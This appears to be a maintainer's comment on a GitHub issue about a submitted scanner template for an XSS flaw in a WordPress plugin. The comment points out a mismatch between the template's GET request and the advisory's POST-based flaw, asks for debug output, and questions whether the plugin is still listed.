Hi @akincibor

Thank you for taking the time to create this issue and for contributing to this project.

As per the reference attached in your template i.e: https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479 the XSS seems to be POST based but the template mentions GET request.

If possible can you please provide us with the -debug data ? Thanks

Also, can you please verify the existence of the template on https://wordpress.org/plugins/search/ because it seems to be removed to me => https://wordpress.org/plugins/search/Country+Selector/

Thanks,
